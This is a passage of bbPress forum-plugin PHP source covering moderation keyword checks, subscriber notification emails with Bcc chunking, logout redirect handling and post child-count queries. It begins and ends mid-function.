		// https://bbpress.trac.wordpress.org/ticket/2726
		} elseif ( ( false === $strict ) && user_can( $author_id, 'moderate' ) ) {
			return true;
		}
	}

	// Define local variable(s)
	$_post     = array();
	$match_out = '';

	/** Max Links *************************************************************/

	// Only check max_links when not being strict
	if ( false === $strict ) {
		$max_links = get_option( 'comment_max_links' );
		if ( ! empty( $max_links ) ) {

			// How many links?
			$num_links = preg_match_all( '/(http|ftp|https):\/\//i', $content, $match_out );

			// Allow for bumping the max to include the user's URL
			if ( ! empty( $_post['url'] ) ) {
				$num_links = apply_filters( 'comment_max_links_url', $num_links, $_post['url'], $content );
			}

			// Das ist zu viele links!
			if ( $num_links >= $max_links ) {
				return false;
			}
		}
	}

	/** Moderation ************************************************************/

	/**
	 * Filters the bbPress moderation keys.
	 *
	 * @since 2.6.0 bbPress (r6050)
	 *
	 * @param string $moderation List of moderation keys. One per new line.
	 */
	$moderation = apply_filters( "bbp_{$hook_name}_keys", trim( get_option( $option_name ) ) );

	// Bail if no words to look for
	if ( empty( $moderation ) ) {
		return true;
	}

	/** User Data *************************************************************/

	// Map anonymous user data
	if ( ! empty( $anonymous_data ) ) {
		$_post['author'] = $anonymous_data['bbp_anonymous_name'];
		$_post['email']  = $anonymous_data['bbp_anonymous_email'];
		$_post['url']    = $anonymous_data['bbp_anonymous_website'];

	// Map current user data
	} elseif ( ! empty( $author_id ) ) {

		// Get author data
		$user = get_userdata( $author_id );

		// If data exists, map it
		if ( ! empty( $user ) ) {
			$_post['author'] = $user->display_name;
			$_post['email']  = $user->user_email;
			$_post['url']    = $user->user_url;
		}
	}

	// Current user IP and user agent
	$_post['user_ip'] = bbp_current_author_ip();
	$_post['user_ua'] = bbp_current_author_ua();

	// Post title and content
	$_post['title']   = $title;
	$_post['content'] = $content;

	// Ensure HTML tags are not being used to bypass the moderation list.
	$_post['comment_without_html'] = wp_strip_all_tags( $content );

	/** Words *****************************************************************/

	// Get words separated by new lines
	$words = explode( "\n", $moderation );

	// Loop through words
	foreach ( (array) $words as $word ) {

		// Trim the whitespace from the word
		$word = trim( $word );

		// Skip empty lines
		if ( empty( $word ) ) {
			continue;
		}

		// Do some escaping magic so that '#' chars in the
		// spam words don't break things:
		$word    = preg_quote( $word, '#' );
		$pattern = "#{$word}#i";

		// Loop through post data
		foreach ( $_post as $post_data ) {

			// Check each user data for current word
			if ( preg_match( $pattern, $post_data ) ) {

				// Post does not pass
				return false;
			}
		}
	}

	// Check passed successfully
	return true;
}

/**
 * Deprecated. Use bbp_check_for_moderation() with strict flag set.
 *
 * @since 2.0.0 bbPress (r3446)
 * @since 2.6.0 bbPress (r6854)
 * @deprecated 2.6.0 Use bbp_check_for_moderation() with strict flag set
 */
function bbp_check_for_blacklist( $anonymous_data = array(), $author_id = 0, $title = '', $content = '' ) {
	return bbp_check_for_moderation( $anonymous_data, $author_id, $title, $content, true );
}

/** Subscriptions *************************************************************/

/**
 * Get the "Do Not Reply" email address to use when sending subscription emails.
 *
 * We make some educated guesses here based on the home URL. Filters are
 * available to customize this address further. In the future, we may consider
 * using `admin_email` instead, though this is not normally publicized.
 *
 * We use `$_SERVER['SERVER_NAME']` here to mimic similar functionality in
 * WordPress core. Previously, we used `get_home_url()` to use already validated
 * user input, but it was causing issues in some installations.
 *
 * @since 2.6.0 bbPress (r5409)
 *
 * @see  wp_mail
 * @see  wp_notify_postauthor
 * @link https://bbpress.trac.wordpress.org/ticket/2618
 *
 * @return string
 */
function bbp_get_do_not_reply_address() {
	$sitename = strtolower( $_SERVER['SERVER_NAME'] );
	if ( substr( $sitename, 0, 4 ) === 'www.' ) {
		$sitename = substr( $sitename, 4 );
	}

	// Filter & return
	return apply_filters( 'bbp_get_do_not_reply_address', 'noreply@' . $sitename );
}

/**
 * Sends notification emails for new replies to subscribed topics
 *
 * Gets new post ID and check if there are subscribed users to that topic, and
 * if there are, send notifications
 *
 * Note: in bbPress 2.6, we've moved away from 1 email per subscriber to 1 email
 * with everyone BCC'd. This may have negative repercussions for email services
 * that limit the number of addresses in a BCC field (often to around 500.) In
 * those cases, we recommend unhooking this function and creating your own
 * custom email script.
 *
 * @since 2.6.0 bbPress (r5413)
 *
 * @param int $reply_id ID of the newly made reply
 * @param int $topic_id ID of the topic of the reply
 * @param int $forum_id ID of the forum of the reply
 * @param array $anonymous_data Optional - if it's an anonymous post. Do not
 *                              supply if supplying $author_id. Should be
 *                              sanitized (see {@link bbp_filter_anonymous_post_data()}
 * @param int $reply_author ID of the topic author ID
 * @return bool True on success, false on failure
 */
function bbp_notify_topic_subscribers( $reply_id = 0, $topic_id = 0, $forum_id = 0, $anonymous_data = array(), $reply_author = 0 ) {

	// Bail if subscriptions are turned off
	if ( ! bbp_is_subscriptions_active() ) {
		return false;
	}

	// Bail if importing
	if ( defined( 'WP_IMPORTING' ) && WP_IMPORTING ) {
		return false;
	}

	/** Validation ************************************************************/

	$reply_id = bbp_get_reply_id( $reply_id );
	$topic_id = bbp_get_topic_id( $topic_id );
	$forum_id = bbp_get_forum_id( $forum_id );

	/** Topic *****************************************************************/

	// Bail if topic is not public (includes closed)
	if ( ! bbp_is_topic_public( $topic_id ) ) {
		return false;
	}

	/** Reply *****************************************************************/

	// Bail if reply is not published
	if ( ! bbp_is_reply_published( $reply_id ) ) {
		return false;
	}

	// Poster name
	$reply_author_name = bbp_get_reply_author_display_name( $reply_id );

	/** Users *****************************************************************/

	// Get topic subscribers and bail if empty
	$user_ids = bbp_get_subscribers( $topic_id );

	// Remove the reply author from the list.
	$reply_author_key = array_search( (int) $reply_author, $user_ids, true );
	if ( false !== $reply_author_key ) {
		unset( $user_ids[ $reply_author_key ] );
	}

	// Dedicated filter to manipulate user ID's to send emails to
	$user_ids = (array) apply_filters( 'bbp_topic_subscription_user_ids', $user_ids, $reply_id, $topic_id );

	// Bail of the reply author was the only one subscribed.
	if ( empty( $user_ids ) ) {
		return false;
	}

	// Get email addresses, bail if empty
	$email_addresses = bbp_get_email_addresses_from_user_ids( $user_ids );
	if ( empty( $email_addresses ) ) {
		return false;
	}

	/** Mail ******************************************************************/

	// Remove filters from reply content and topic title to prevent content
	// from being encoded with HTML entities, wrapped in paragraph tags, etc...
	bbp_remove_all_filters( 'bbp_get_reply_content' );
	bbp_remove_all_filters( 'bbp_get_topic_title'   );
	bbp_remove_all_filters( 'the_title'             );

	// Strip tags from text and setup mail data
	$blog_name         = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	$topic_title       = wp_specialchars_decode( strip_tags( bbp_get_topic_title( $topic_id ) ), ENT_QUOTES );
	$reply_author_name = wp_specialchars_decode( strip_tags( $reply_author_name ), ENT_QUOTES );
	$reply_content     = wp_specialchars_decode( strip_tags( bbp_get_reply_content( $reply_id ) ), ENT_QUOTES );
	$reply_url         = bbp_get_reply_url( $reply_id );

	// For plugins to filter messages per reply/topic/user
	$message = sprintf( esc_html__( '%1$s wrote:

%2$s

Post Link: %3$s

-----------

You are receiving this email because you subscribed to a forum topic.

Login and visit the topic to unsubscribe from these emails.', 'bbpress' ),

		$reply_author_name,
		$reply_content,
		$reply_url
	);

	$message = apply_filters( 'bbp_subscription_mail_message', $message, $reply_id, $topic_id );
	if ( empty( $message ) ) {
		return;
	}

	// For plugins to filter titles per reply/topic/user
	$subject = apply_filters( 'bbp_subscription_mail_title', '[' . $blog_name . '] ' . $topic_title, $reply_id, $topic_id );
	if ( empty( $subject ) ) {
		return;
	}

	/** Headers ***************************************************************/

	// Default bbPress X-header
	$headers    = array( bbp_get_email_header() );

	// Get the noreply@ address
	$no_reply   = bbp_get_do_not_reply_address();

	// Setup "From" email address
	$from_email = apply_filters( 'bbp_subscription_from_email', $no_reply );

	// Setup the From header
	$headers[]  = 'From: ' . get_bloginfo( 'name' ) . ' <' . $from_email . '>';

	// Loop through addresses
	foreach ( (array) $email_addresses as $address ) {
		$headers[] = 'Bcc: ' . $address;
	}

	/** Send it ***************************************************************/

	// Custom headers
	$headers  = apply_filters( 'bbp_subscription_mail_headers', $headers  );
 	$to_email = apply_filters( 'bbp_subscription_to_email',     $no_reply );

	// Before
	do_action( 'bbp_pre_notify_subscribers', $reply_id, $topic_id, $user_ids );

	// Send notification email
	wp_mail( $to_email, $subject, $message, $headers );

	// After
	do_action( 'bbp_post_notify_subscribers', $reply_id, $topic_id, $user_ids );

	// Restore previously removed filters
	bbp_restore_all_filters( 'bbp_get_topic_content' );
	bbp_restore_all_filters( 'bbp_get_topic_title'   );
	bbp_restore_all_filters( 'the_title'             );

	return true;
}

/**
 * Sends notification emails for new topics to subscribed forums
 *
 * Gets new post ID and check if there are subscribed users to that forum, and
 * if there are, send notifications
 *
 * Note: in bbPress 2.6, we've moved away from 1 email per subscriber to 1 email
 * with everyone BCC'd. This may have negative repercussions for email services
 * that limit the number of addresses in a BCC field (often to around 500.) In
 * those cases, we recommend unhooking this function and creating your own
 * custom email script.
 *
 * @since 2.5.0 bbPress (r5156)
 *
 * @param int $topic_id ID of the newly made reply
 * @param int $forum_id ID of the forum for the topic
 * @param array $anonymous_data Optional - if it's an anonymous post. Do not
 *                              supply if supplying $author_id. Should be
 *                              sanitized (see {@link bbp_filter_anonymous_post_data()}
 * @param int $topic_author ID of the topic author ID
 * @return bool True on success, false on failure
 */
function bbp_notify_forum_subscribers( $topic_id = 0, $forum_id = 0, $anonymous_data = array(), $topic_author = 0 ) {

	// Bail if subscriptions are turned off
	if ( ! bbp_is_subscriptions_active() ) {
		return false;
	}

	// Bail if importing
	if ( defined( 'WP_IMPORTING' ) && WP_IMPORTING ) {
		return false;
	}

	/** Validation ************************************************************/

	$topic_id = bbp_get_topic_id( $topic_id );
	$forum_id = bbp_get_forum_id( $forum_id );

	/**
	 * Necessary for backwards compatibility
	 *
	 * @see https://bbpress.trac.wordpress.org/ticket/2620
	 */
	$user_id  = 0;

	/** Topic *****************************************************************/

	// Bail if topic is not public (includes closed)
	if ( ! bbp_is_topic_public( $topic_id ) ) {
		return false;
	}

	// Poster name
	$topic_author_name = bbp_get_topic_author_display_name( $topic_id );

	/** Users *****************************************************************/

	// Get topic subscribers and bail if empty
	$user_ids = bbp_get_subscribers( $forum_id );

	// Remove the topic author from the list.
	$topic_author_key = array_search( (int) $topic_author, $user_ids, true );
	if ( false !== $topic_author_key ) {
		unset( $user_ids[ $topic_author_key ] );
	}

	// Dedicated filter to manipulate user ID's to send emails to
	$user_ids = (array) apply_filters( 'bbp_forum_subscription_user_ids', $user_ids, $topic_id, $forum_id );

	// Bail of the reply author was the only one subscribed.
	if ( empty( $user_ids ) ) {
		return false;
	}

	// Get email addresses, bail if empty
	$email_addresses = bbp_get_email_addresses_from_user_ids( $user_ids );
	if ( empty( $email_addresses ) ) {
		return false;
	}

	/** Mail ******************************************************************/

	// Remove filters from reply content and topic title to prevent content
	// from being encoded with HTML entities, wrapped in paragraph tags, etc...
	bbp_remove_all_filters( 'bbp_get_topic_content' );
	bbp_remove_all_filters( 'bbp_get_topic_title'   );
	bbp_remove_all_filters( 'the_title'             );

	// Strip tags from text and setup mail data
	$blog_name         = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	$topic_title       = wp_specialchars_decode( strip_tags( bbp_get_topic_title( $topic_id ) ), ENT_QUOTES );
	$topic_author_name = wp_specialchars_decode( strip_tags( $topic_author_name ), ENT_QUOTES );
	$topic_content     = wp_specialchars_decode( strip_tags( bbp_get_topic_content( $topic_id ) ), ENT_QUOTES );
	$topic_url         = get_permalink( $topic_id );

	// For plugins to filter messages per reply/topic/user
	$message = sprintf( esc_html__( '%1$s wrote:

%2$s

Topic Link: %3$s

-----------

You are receiving this email because you subscribed to a forum.

Login and visit the topic to unsubscribe from these emails.', 'bbpress' ),

		$topic_author_name,
		$topic_content,
		$topic_url
	);

	$message = apply_filters( 'bbp_forum_subscription_mail_message', $message, $topic_id, $forum_id, $user_id );
	if ( empty( $message ) ) {
		return;
	}

	// For plugins to filter titles per reply/topic/user
	$subject = apply_filters( 'bbp_forum_subscription_mail_title', '[' . $blog_name . '] ' . $topic_title, $topic_id, $forum_id, $user_id );
	if ( empty( $subject ) ) {
		return;
	}

	/** Headers ***************************************************************/

	// Default bbPress X-header
	$headers    = array( bbp_get_email_header() );

	// Get the noreply@ address
	$no_reply   = bbp_get_do_not_reply_address();

	// Setup "From" email address
	$from_email = apply_filters( 'bbp_subscription_from_email', $no_reply );

	// Setup the From header
	$headers[] = 'From: ' . get_bloginfo( 'name' ) . ' <' . $from_email . '>';

	// Loop through addresses
	foreach ( (array) $email_addresses as $address ) {
		$headers[] = 'Bcc: ' . $address;
	}

	/** Send it ***************************************************************/

	// Custom headers
	$headers  = apply_filters( 'bbp_subscription_mail_headers', $headers  );
	$to_email = apply_filters( 'bbp_subscription_to_email',     $no_reply );

	// Before
	do_action( 'bbp_pre_notify_forum_subscribers', $topic_id, $forum_id, $user_ids );

	// Send notification email
	wp_mail( $to_email, $subject, $message, $headers );

	// After
	do_action( 'bbp_post_notify_forum_subscribers', $topic_id, $forum_id, $user_ids );

	// Restore previously removed filters
	bbp_restore_all_filters( 'bbp_get_topic_content' );
	bbp_restore_all_filters( 'bbp_get_topic_title'   );
	bbp_restore_all_filters( 'the_title'             );

	return true;
}

/**
 * Sends notification emails for new replies to subscribed topics
 *
 * This function is deprecated. Please use: bbp_notify_topic_subscribers()
 *
 * @since 2.0.0 bbPress (r2668)
 *
 * @deprecated 2.6.0 bbPress (r5412)
 *
 * @param int $reply_id ID of the newly made reply
 * @param int $topic_id ID of the topic of the reply
 * @param int $forum_id ID of the forum of the reply
 * @param array $anonymous_data Optional - if it's an anonymous post. Do not
 *                              supply if supplying $author_id. Should be
 *                              sanitized (see {@link bbp_filter_anonymous_post_data()}
 * @param int $reply_author ID of the topic author ID
 *
 * @return bool True on success, false on failure
 */
function bbp_notify_subscribers( $reply_id = 0, $topic_id = 0, $forum_id = 0, $anonymous_data = array(), $reply_author = 0 ) {
	return bbp_notify_topic_subscribers( $reply_id, $topic_id, $forum_id, $anonymous_data, $reply_author );
}

/**
 * Return an array of user email addresses from an array of user IDs
 *
 * @since 2.6.0 bbPress (r6722)
 *
 * @param array $user_ids
 * @return array
 */
function bbp_get_email_addresses_from_user_ids( $user_ids = array() ) {

	// Default return value
	$retval = array();

	// Maximum number of users to get per database query
	$limit = apply_filters( 'bbp_get_users_chunk_limit', 100 );

	// Only do the work if there are user IDs to query for
	if ( ! empty( $user_ids ) ) {

		// Get total number of sets
		$steps = ceil( count( $user_ids ) / $limit );
		$range = array_map( 'intval', range( 1, $steps ) );

		// Loop through users
		foreach ( $range as $loop ) {

			// Initial loop has no offset
			$offset = $limit * ( $loop - 1 );

			// Calculate user IDs to include
			$loop_ids = array_slice( $user_ids, $offset, $limit );

			// Skip if something went wrong
			if ( empty( $loop_ids ) ) {
				continue;
			}

			// Call get_users() in a way that users are cached
			$loop_users = get_users( array(
				'blog_id' => 0,
				'fields'  => 'all_with_meta',
				'include' => $loop_ids
			) );

			// Pluck emails from users
			$loop_emails = wp_list_pluck( $loop_users, 'user_email' );

			// Clean-up memory, for big user sets
			unset( $loop_users );

			// Merge users into return value
			if ( ! empty( $loop_emails ) ) {
				$retval = array_merge( $retval, $loop_emails );
			}
		}

		// No duplicates
		$retval = bbp_get_unique_array_values( $retval );
	}

	// Filter & return
	return apply_filters( 'bbp_get_email_addresses_from_user_ids', $retval, $user_ids, $limit );
}

/**
 * Automatically splits bbPress emails with many Bcc recipients into chunks.
 *
 * This middleware is useful because topics and forums with many subscribers
 * run into problems with Bcc limits, and many hosting companies & third-party
 * services limit the size of a Bcc audience to prevent spamming.
 *
 * The default "chunk" size is 40 users per iteration, and can be filtered if
 * desired. A future version of bbPress will introduce a setting to more easily
 * tune this.
 *
 * @since 2.6.0 bbPress (r6918)
 *
 * @param array $args Original arguments passed to wp_mail().
 * @return array
 */
function bbp_chunk_emails( $args = array() ) {

	// Get the maximum number of Bcc's per chunk
	$max_num = apply_filters( 'bbp_get_bcc_chunk_limit', 40, $args );

	// Look for "bcc: " in a case-insensitive way, and split into 2 sets
	$match       = '/^bcc: (\w+)/i';
	$old_headers = preg_grep( $match, $args['headers'], PREG_GREP_INVERT );
	$bcc_headers = preg_grep( $match, $args['headers'] );

	// Bail if less than $max_num recipients
	if ( empty( $bcc_headers ) || ( count( $bcc_headers ) < $max_num ) ) {
		return $args;
	}

	// Reindex the headers arrays
	$old_headers = array_values( $old_headers );
	$bcc_headers = array_values( $bcc_headers );

	// Break the Bcc emails into chunks
	foreach ( array_chunk( $bcc_headers, $max_num ) as $i => $chunk ) {

		// Skip the first chunk (it will get used in the original wp_mail() call)
		if ( 0 === $i ) {
			$first_chunk = $chunk;
			continue;
		}

		// Send out the chunk
		$chunk_headers = array_merge( $old_headers, $chunk );

		// Recursion alert, but should be OK!
		wp_mail(
			$args['to'],
			$args['subject'],
			$args['message'],
			$chunk_headers,
			$args['attachments']
		);
	}

	// Set headers to old headers + the $first_chunk of Bcc's
	$args['headers'] = array_merge( $old_headers, $first_chunk );

	// Return the reduced args, with the first chunk of Bcc's
	return $args;
}

/**
 * Return the string used for the bbPress specific X-header.
 *
 * @since 2.6.0 bbPress (r6919)
 *
 * @return string
 */
function bbp_get_email_header() {
	return apply_filters( 'bbp_get_email_header', 'X-bbPress: ' . bbp_get_version() );
}

/** Login *********************************************************************/

/**
 * Return a clean and reliable logout URL
 *
 * This function is used to filter `logout_url`. If no $redirect_to value is
 * passed, it will default to the request uri, then the forum root.
 *
 * See: `wp_logout_url()`
 *
 * @since 2.1.0 bbPress (2815)
 *
 * @param string $url URL used to log out
 * @param string $redirect_to Where to redirect to?
 *
 * @return string The url
 */
function bbp_logout_url( $url = '', $redirect_to = '' ) {

	// If there is no redirect in the URL, let's add one...
	if ( ! strstr( $url, 'redirect_to' ) ) {

		// Get the forum root, to maybe use as a default
		$forum_root = bbp_get_root_url();

		// No redirect passed, so check referer and fallback to request uri
		if ( empty( $redirect_to ) ) {

			// Check for a valid referer
			$redirect_to = wp_get_referer();

			// Fallback to request uri if invalid referer
			if ( false === $redirect_to ) {
				$redirect_to = bbp_get_url_scheme() . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
			}
		}

		// Filter the $redirect_to destination
		$filtered  = apply_filters( 'bbp_logout_url_redirect_to', $redirect_to );

		// Validate $redirect_to, default to root
		$validated = wp_validate_redirect( $filtered, $forum_root );

		// Assemble $redirect_to and add it (encoded) to full $url
		$appended  = add_query_arg( array( 'loggedout'   => 'true'   ), $validated );
		$encoded   = urlencode( $appended );
		$url       = add_query_arg( array( 'redirect_to' => $encoded ), $url       );
	}

	// Filter & return
	return apply_filters( 'bbp_logout_url', $url, $redirect_to );
}

/** Queries *******************************************************************/

/**
 * Merge user defined arguments into defaults array.
 *
 * This function is used throughout bbPress to allow for either a string or array
 * to be merged into another array. It is identical to wp_parse_args() except
 * it allows for arguments to be passively or aggressively filtered using the
 * optional $filter_key parameter.
 *
 * @since 2.1.0 bbPress (r3839)
 *
 * @param string|array $args Value to merge with $defaults
 * @param array $defaults Array that serves as the defaults.
 * @param string $filter_key String to key the filters from
 * @return array Merged user defined values with defaults.
 */
function bbp_parse_args( $args, $defaults = array(), $filter_key = '' ) {

	// Setup a temporary array from $args
	if ( is_object( $args ) ) {
		$r = get_object_vars( $args );
	} elseif ( is_array( $args ) ) {
		$r =& $args;
	} else {
		wp_parse_str( $args, $r );
	}

	// Passively filter the args before the parse
	if ( ! empty( $filter_key ) ) {
		$r = apply_filters( "bbp_before_{$filter_key}_parse_args", $r, $args, $defaults );
	}

	// Parse
	if ( is_array( $defaults ) && ! empty( $defaults ) ) {
		$r = array_merge( $defaults, $r );
	}

	// Aggressively filter the args after the parse
	if ( ! empty( $filter_key ) ) {
		$r = apply_filters( "bbp_after_{$filter_key}_parse_args", $r, $args, $defaults );
	}

	// Return the parsed results
	return $r;
}

/**
 * Adds ability to include or exclude specific post_parent ID's
 *
 * @since 2.0.0 bbPress (r2996)
 *
 * @deprecated 2.5.8 bbPress (r5814)
 *
 * @global WP $wp
 * @param string $where
 * @param WP_Query $object
 * @return string
 */
function bbp_query_post_parent__in( $where, $object = '' ) {
	global $wp;

	// Noop if WP core supports this already
	if ( in_array( 'post_parent__in', $wp->private_query_vars, true ) ) {
		return $where;
	}

	// Bail if no object passed
	if ( empty( $object ) ) {
		return $where;
	}

	// Only 1 post_parent so return $where
	if ( is_numeric( $object->query_vars['post_parent'] ) ) {
		return $where;
	}

	// Get the DB
	$bbp_db = bbp_db();

	// Including specific post_parent's
	if ( ! empty( $object->query_vars['post_parent__in'] ) ) {
		$ids    = implode( ',', wp_parse_id_list( $object->query_vars['post_parent__in'] ) );
		$where .= " AND {$bbp_db->posts}.post_parent IN ($ids)";

	// Excluding specific post_parent's
	} elseif ( ! empty( $object->query_vars['post_parent__not_in'] ) ) {
		$ids    = implode( ',', wp_parse_id_list( $object->query_vars['post_parent__not_in'] ) );
		$where .= " AND {$bbp_db->posts}.post_parent NOT IN ($ids)";
	}

	// Return possibly modified $where
	return $where;
}

/**
 * Query the DB and get the last public post_id that has parent_id as post_parent
 *
 * @since 2.0.0 bbPress (r2868)
 * @since 2.6.0 bbPress (r5954) Replace direct queries with WP_Query() objects
 *
 * @param int    $parent_id Parent id.
 * @param string $post_type Post type. Defaults to 'post'.
 * @return int The last active post_id
 */
function bbp_get_public_child_last_id( $parent_id = 0, $post_type = 'post' ) {

	// Bail if nothing passed
	if ( empty( $parent_id ) ) {
		return false;
	}

	// Which statuses
	switch ( $post_type ) {

		// Forum
		case bbp_get_forum_post_type() :
			$post_status = bbp_get_public_forum_statuses();
			break;

		// Topic
		case bbp_get_topic_post_type() :
			$post_status = bbp_get_public_topic_statuses();
			break;

		// Reply
		case bbp_get_reply_post_type() :
		default :
			$post_status = bbp_get_public_reply_statuses();
			break;
	}

	$query = new WP_Query( array(
		'fields'         => 'ids',
		'post_parent'    => $parent_id,
		'post_status'    => $post_status,
		'post_type'      => $post_type,
		'posts_per_page' => 1,
		'orderby'        => array(
			'post_date' => 'DESC',
			'ID'        => 'DESC'
		),

		// Performance
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );
	$child_id = array_shift( $query->posts );
	unset( $query );

	// Filter & return
	return (int) apply_filters( 'bbp_get_public_child_last_id', $child_id, $parent_id, $post_type );
}

/**
 * Query the database for child counts, grouped by type & status
 *
 * @since 2.6.0 bbPress (r6826)
 *
 * @param int $parent_id
 */
function bbp_get_child_counts( $parent_id = 0 ) {

	// Create cache key
	$parent_id    = absint( $parent_id );
	$key          = md5( serialize( array( 'parent_id' => $parent_id, 'post_type' => bbp_get_post_types() ) ) );
	$last_changed = wp_cache_get_last_changed( 'bbpress_posts' );
	$cache_key    = "bbp_child_counts:{$key}:{$last_changed}";

	// Check for cache and set if needed
	$retval = wp_cache_get( $cache_key, 'bbpress_posts' );
	if ( false === $retval ) {

		// Setup the DB & query
		$bbp_db = bbp_db();
		$sql    = "SELECT
						p.post_type AS type,
						p.post_status AS status,
						COUNT( * ) AS count
					FROM {$bbp_db->posts} AS p
						LEFT JOIN {$bbp_db->postmeta} AS pm
							ON p.ID = pm.post_id
							AND pm.meta_key = %s
					WHERE pm.meta_value = %s
					GROUP BY p.post_status, p.post_type";

		// Get prepare vars
		$post_type = get_post_type( $parent_id );
		$meta_key  = "_bbp_{$post_type}_id";

		// Prepare & get results
		$query     = $bbp_db->prepare( $sql, $meta_key, $parent_id );
		$results   = $bbp_db->get_results( $query, ARRAY_A );

		// Setup return value
		$retval    = wp_list_pluck( $results, 'type', 'type' );
		$statuses  = get_post_stati();

		// Loop through results
		foreach ( $results as $row ) {

			// Setup empties
			if ( ! is_array( $retval[ $row['type'] ] ) ) {
				$retval[ $row['type'] ] = array_fill_keys( $statuses, 0 );
			}

			// Set statuses
			$retval[ $row['type'] ][ $row['status'] ] = bbp_number_not_negative( $row['count'] );
		}

		// Always cache the results
		wp_cache_set( $cache_key, $retval, 'bbpress_posts' );
	}

	// Make sure results are INTs
	return (array) apply_filters( 'bbp_get_child_counts', $retval, $parent_id );
}

/**
 * Filter a list of child counts, from `bbp_get_child_counts()`
 *
 * @since 2.6.0 bbPress (r6826)
 *
 * @param int    $parent_id  ID of post to get child counts from
 * @param array  $types      Optional. An array of post types to filter by
 * @param array  $statuses   Optional. An array of post statuses to filter by
 *
 * @return array A list of objects or object fields.
 */
function bbp_filter_child_counts_list( $parent_id = 0, $types = array( 'post' ), $statuses = array() ) {

	// Setup local vars
	$retval   = array();
	$types    = array_flip( (array) $types    );
	$statuses = array_flip( (array) $statuses );
	$counts   = bbp_get_child_counts( $parent_id );

	// Loop through counts by type
	foreach ( $counts as $type => $type_counts ) {

		// Skip if not this type
		if ( ! isset( $types[ $type ] ) ) {
			continue;
		}

		// Maybe filter statuses
		if ( ! empty( $statuses ) ) {
			$type_counts = array_intersect_key( $type_counts, $statuses );
		}

		// Add type counts to return array
		$retval[ $type ] = $type_counts;
	}

	// Filter & return
	return (array) apply_filters( 'bbp_filter_child_counts_list', $retval, $parent_id, $types, $statuses );
}

/**
 * Query the DB and get a count of public children
 *
 * @since 2.0.0 bbPress (r2868)
 * @since 2.6.0 bbPress (r5954) Replace direct queries with WP_Query() objects
 *
 * @param int    $parent_id Parent id.
 * @param string $post_type Post type. Defaults to 'post'.
 * @return int The number of children
 */
function bbp_get_public_child_count( $parent_id = 0, $post_type = 'post' ) {

	// Bail if nothing passed
	if ( empty( $post_type ) ) {
		return false;
	}

	// Which statuses
	switch ( $post_type ) {

		// Forum
		case bbp_get_forum_post_type() :
			$post_status = bbp_get_public_forum_statuses();
			break;

		// Topic
		case bbp_get_topic_post_type() :
			$post_status = bbp_get_public_topic_statuses();
			break;

		// Reply
		case bbp_get_reply_post_type() :
		default :
			$post_status = bbp_get_public_reply_statuses();
			break;
	}

	// Get counts
	$counts      = bbp_filter_child_counts_list( $parent_id, $post_type, $post_status );
	$child_count = isset( $counts[ $post_type ] )
		? bbp_number_not_negative( array_sum( array_values( $counts[ $post_type ] ) ) )
		: 0;

	// Filter & return
	return (int) apply_filters( 'bbp_get_public_child_count', $child_count, $parent_id, $post_type );
}
/**
 * Query the DB and get a count of public children
 *
 * @since 2.0.0 bbPress (r2868)
 * @since 2.6.0 bbPress (r5954) Replace direct queries with WP_Query() objects
 *
 * @param int    $parent_id Parent id.
 * @param string $post_type Post type. Defaults to 'post'.
 * @return int The number of children
 */
function bbp_get_non_public_child_count( $parent_id = 0, $post_type = 'post' ) {

	// Bail if nothing passed
	if ( empty( $parent_id ) || empty( $post_type ) ) {
		return false;
	}

	// Which statuses
	switch ( $post_type ) {

		// Forum
		case bbp_get_forum_post_type() :
			$post_status = bbp_get_non_public_forum_statuses();
			break;

		// Topic
		case bbp_get_topic_post_type() :
			$post_status = bbp_get_non_public_topic_statuses();
			break;

		// Reply
		case bbp_get_reply_post_type() :
			$post_status = bbp_get_non_public_reply_statuses();
			break;

		// Any
		default :
			$post_status = bbp_get_public_status_id();
			break;
	}

	// Get counts
	$counts      = bbp_filter_child_counts_list( $parent_id, $post_type, $post_status );
	$child_count = isset( $counts[ $post_type ] )
		? bbp_number_not_negative( array_sum( array_values( $counts[ $post_type ] ) ) )
		: 0;

	// Filter & return
	return (int) apply_filters( 'bbp_get_non_public_child_count', $child_count, $parent_id, $post_type );
}

/**
 * Query the DB and get the child id's of public children
 *
 * @since 2.0.0 bbPress (r2868)
 * @since 2.6.0 bbPress (r5954) Replace direct queries with WP_Query() objects
 *
 * @param int    $parent_id Parent id.
 * @param string $post_type Post type. Defaults to 'post'.
 *
 * @return array The array of children
 */
function bbp_get_public_child_ids( $parent_id = 0, $post_type = 'post' ) {

	// Bail if nothing passed
	if ( empty( $parent_id ) || empty( $post_type ) ) {
		return array();
	}

	// Which statuses
	switch ( $post_type ) {

		// Forum
		case bbp_get_forum_post_type() :
			$post_status = bbp_get_public_forum_statuses();
			break;

		// Topic
		case bbp_get_topic_post_type() :
			$post_status = bbp_get_public_topic_statuses();
			break;

		// Reply
		case bbp_get_reply_post_type() :
		default :
			$post_status = bbp_get_public_reply_statuses();
			break;
	}

	$query = new WP_Query( array(
		'fields'         => 'ids',
		'post_parent'    => $parent_id,
		'post_status'    => $post_status,
		'post_type'      => $post_type,
		'posts_per_page' => -1,
		'orderby'        => array(
			'post_date' => 'DESC',
			'ID'        => 'DESC'
		),

		// Performance
		'nopaging'               => true,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );

	$child_ids = ! empty( $query->posts )
		? $query->posts
		: array();

	unset( $query );

	// Filter & return
	return (array) apply_filters( 'bbp_get_public_child_ids', $child_ids, $parent_id, $post_type );
}

/**
 * Query the DB and get the child id's of all children
 *
 * @since 2.0.0 bbPress (r3325)
 *
 * @param int $parent_id  Parent id
 * @param string $post_type Post type. Defaults to 'post'
 *
 * @return array The array of children
 */
function bbp_get_all_child_ids( $parent_id = 0, $post_type = 'post' ) {

	// Bail if nothing passed
	if ( empty( $parent_id ) || empty( $post_type ) ) {
		return array();
	}

	// Make cache key
	$not_in = array( 'draft', 'future' );
	$key    = md5( serialize( array(
		'parent_id'   => $parent_id,
		'post_type'   => $post_type,
		'post_status' => $not_in
	) ) );

	// Check last changed
	$last_changed = wp_cache_get_last_changed( 'bbpress_posts' );
	$cache_key    = "bbp_child_ids:{$key}:{$last_changed}";

	// Check for cache and set if needed
	$child_ids = wp_cache_get( $cache_key, 'bbpress_posts' );

	// Not already cached
	if ( false === $child_ids ) {

